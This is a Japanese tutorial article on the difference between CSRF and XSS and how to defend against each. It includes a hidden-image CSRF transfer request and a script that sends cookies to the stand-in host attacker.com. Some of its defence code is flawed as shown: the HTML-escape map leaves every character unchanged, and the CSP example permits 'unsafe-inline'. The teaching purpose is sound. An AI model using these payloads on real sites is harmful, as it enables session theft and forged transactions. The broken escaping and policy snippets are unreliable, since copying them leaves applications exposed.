CSRFとXSSの核心的な違いと防御戦略
ウェブアプリケーションのセキュリティで最もよく言及される2つの攻撃タイプ、CSRF と XSS。どちらも深刻なセキュリティ脅威ですが、攻撃手法も防御策もまったく異なります。本稿では、両攻撃の核心的な違いを明確に理解し、実務で即適用できる防御技術を見ていきましょう。
多くの開発者は CSRF と XSS を混同したり、似た攻撃と捉えたりします。しかし、これら2つの攻撃は根本的に異なる脆弱性を狙っており、それぞれに合った防御策が必要です。この違いを正確に把握することが、有効なセキュリティ戦略の第一歩になります。
CSRF (Cross‑Site Request Forgery) を理解する
sequenceDiagram
participant User as 🧑 ユーザー(ブラウザ)
participant AttackerSite as 🕸️ 悪意あるサイト
participant Bank as 🏦 銀行サーバー
Note over User,Bank: ユーザーは銀行サイトにログインしており、セッション(クッキー)が有効な状態
User->>AttackerSite: (1) 悪意あるサイトを訪問(例:リンククリック)
AttackerSite-->>User: (2) 隠されたリクエストコード送信
<img src="http://bank.com/transfer?to=attacker&amount=1000000">
Note over User: (3) ブラウザが自動的に bank.com にリクエストを送信(クッキー含む)
User->>Bank: (4) GET/POST /transfer?to=attacker&amount=1000000(クッキー/セッション含む)
alt サーバーがリクエスト発信元を検証しない
Bank-->>Bank: (5) サーバーがこのリクエストを正当なユーザーからのものと扱う
Bank-->>User: (6) 送金処理完了(ユーザーは気づかない)
else サーバーが CSRF 防御を適用(例:CSRF トークン検証)
Bank-->>User: (5) リクエスト拒否(CSRF トークン不一致)
end
CSRF は ユーザーの権限を悪用する 攻撃です。攻撃者がユーザーの知らない間に特定ウェブサイトへリクエストを送らせるよう誘導する方式です。
CSRF 攻撃の動作原理
CSRF はサーバーがユーザーを信頼していることを 悪用 します。ユーザーが銀行ウェブサイトにログインしている状態で悪意あるサイトを訪問すると、攻撃者は銀行サーバーへ送金リクエストを送ることができます。サーバーはこのリクエストを正当なユーザーからのものと判断して処理するわけです。
<!-- 悪意あるサイトでの CSRF 攻撃の例 -->
<img src="http://bank.com/transfer?to=attacker&amount=1000000" style="display:none">
このシンプルな画像タグだけで、ユーザーの知らない間に送金リクエストが実行される可能性があります。ユーザーのセッションが有効なら、サーバーはこれを正常なリクエストとして扱います。
CSRF の特徴と影響
-
攻撃発生場所:サーバー側
-
信頼関係:サーバーがユーザーを信頼
-
主な目的:権限の悪用による不正操作
-
被害範囲:アカウント情報の変更、金融取引、重要設定の修正など
XSS (Cross‑Site Scripting) を掘り下げる
XSS は 悪意あるスクリプトを Web ページ内に注入 する攻撃です。ユーザーのブラウザ上でスクリプトが実行され、クッキーやセッション情報を奪取したり、不正な動作をさせたりします。
XSS 攻撃の3種類
1. Stored XSS(保存型)
悪意あるスクリプトがデータベースに永久保存され、該当ページを訪れるすべてのユーザーに影響を与えます。
2. Reflected XSS(反射型)
メールやリンクを経由してユーザーがクリックすると実行される方式で、主に一回性の攻撃に用いられます。
3. DOM‑based XSS(DOM 型)
JavaScript を使って DOM を操作し、HTML を直接変更することなく攻撃を実行します。
XSS 攻撃の例
sequenceDiagram
participant User as 🧑 ユーザー(ブラウザ)
participant VulnSite as 🌐 脆弱なサイト
participant Attacker as 🎯 攻撃者サーバー
participant VictimService as 🏷️ サービス(セッション識別子)
Note over User,VulnSite: ユーザーが脆弱なページを訪問(XSS 脆弱性あり)
User->>VulnSite: (1) ページをリクエスト
VulnSite-->>User: (2) 応答(悪意あるスクリプト含む)
Note over User: (3) ブラウザがページ内スクリプトを実行
User->>Attacker: (4) 悪意あるスクリプトがクッキー/セッション情報を攻撃者サーバーに送信
e.g. document.location='https://attacker.com/?cookie='+document.cookie
Attacker-->>Attacker: (5) 攻撃者サーバーがセッション cookie を収集
Attacker->>VictimService: (6) 奪取したセッションでサービスにアクセス試行
alt サービスがセッションをそのまま信頼する場合
VictimService-->>Attacker: (7) 認証済みセッションとしてアクセスを許可(アカウント乗っ取り/改変可能)
else 防御技法が適用された場合(例:HttpOnly, SameSite, CSP 等)
VictimService-->>User: (7) リクエスト拒否またはセッション無効化
end
<script>
document.location='https://attacker.com/?cookie='+document.cookie
</script>
このスクリプトはユーザーのクッキーを攻撃者サーバーに送信し、セッションを奪取することが可能です。
XSS の特徴と影響
-
攻撃発生場所:クライアント(ブラウザ)側
-
信頼関係:ユーザーが特定のサイトを信頼
-
主な目的:クッキー・セッションの奪取、Web サイトの改ざん
-
被害範囲:個人情報漏洩、アカウント乗っ取り、フィッシング攻撃など
CSRF と XSS の核心的な違い
| 区分 | CSRF | XSS |
|---|---|---|
| 攻撃方法 | 権限を奪われたクライアントが偽リクエストをサーバーに送信 | 悪意あるスクリプトがクライアント上で実行 |
| 信頼関係 | 特定サイトがユーザーを信頼 | ユーザーが特定サイトを信頼 |
| 攻撃対象 | サーバー | クライアント |
| 主な目的 | 権限の悪用 | クッキー・セッション奪取、Web サイト改ざん |
この違いを理解すれば、それぞれの攻撃に対して適切な防御戦略を立てることができます。
CSRF 防御戦略
1. CSRF トークンの使用
最も効果的な CSRF 防御手法は、トークンを活用することです。
// サーバー側で CSRF トークン生成と検証
const csrfToken = crypto.randomUUID();
// セッションにトークンを保存
req.session.csrfToken = csrfToken;
// クライアント側でリクエスト送信時にトークンを含める
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken
},
body: JSON.stringify(transferData)
});
2. Referrer 検証
リクエストヘッダーの referrer 属性を確認し、ドメインが一致するか検証します。
3. SameSite クッキー属性
// SameSite 属性でクロスサイトリクエストを制限
res.cookie('sessionId', sessionId, {
sameSite: 'strict', // または 'lax'
httpOnly: true,
secure: true
});
4. CAPTCHA 導入
重要な操作については、CAPTCHA による追加認証を要求します。
XSS 防御戦略
1. 入力データの検証およびフィルタリング
// 危険な文字列をフィルタリング
function sanitizeInput(input) {
return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}
// 許可するタグのみ使用
const allowedTags = ['p', 'br', 'strong', 'em'];
2. 出力のエンコーディング
// HTML エンティティへのエンコーディング
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
3. Content Security Policy (CSP) の導入
<!-- CSP ヘッダーによるスクリプト実行制限 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline';">
4. HttpOnly クッキー設定
// document.cookie からアクセスできないクッキー設定
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true
});
実際の攻撃事例と教訓
CSRF 攻撃事例
2008 年、Netflix で発生した CSRF 攻撃では、ユーザーの知らない間に映画の評価が操作されたり、個人情報が改変されたりするのに悪用されました。この事件は CSRF トークンの重要性を一層浮き彫りにしました。
XSS 攻撃事例
2005 年、MySpace の “Samy Worm” 事件は XSS 脆弱性を使って、わずか一日で 100 万人以上のユーザーを感染させました。これは適切な入力検証の重要性を示す代表的な事例です。
両攻撃が結びついたときのリスク
CSRF と XSS が組み合わさると、攻撃の波及力は劇的に増加します。XSS によって CSRF トークンを奪取したり回避したりできるためです。
// XSS を使った CSRF トークン奪取例
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// 奪取したトークンを使って悪意あるリクエスト実行
こうした複合攻撃を防ぐには、両方の攻撃に対する包括的なセキュリティ戦略が必要です。
開発者が知っておくべきセキュリティ原則
セキュリティとは、単に特定の手法を適用することではなく、全体的な視点でアプローチすることです。CSRF と XSS は、それぞれ異なる信頼関係を悪用する攻撃であるため、個別に合った防御戦略を設計しなければなりません。
ウェブアプリケーションを開発する際には、「ユーザー入力はすべて悪意ある可能性がある」という原則と、「サーバーはすべてのリクエストを疑うべきだ」という原則を同時に適用すべきです。これらの2原則は、CSRF・XSS 防御の核心でもあります。
セキュリティコードレビューを行う際にも、これら2つの攻撃タイプを念頭に置いてチェックすれば、より安全なアプリケーションを構築できます。特に、ユーザー入力を扱う部分や認証を要する機能においては、より慎重な検討が必要です。
CSRF と XSS は、ウェブセキュリティの基本かつ核心です。これら二つの攻撃の違いを明確に理解し、適切な防御戦略を実装すれば、ユーザーとサービスの双方を守る堅牢なウェブアプリケーションを作ることができるでしょう。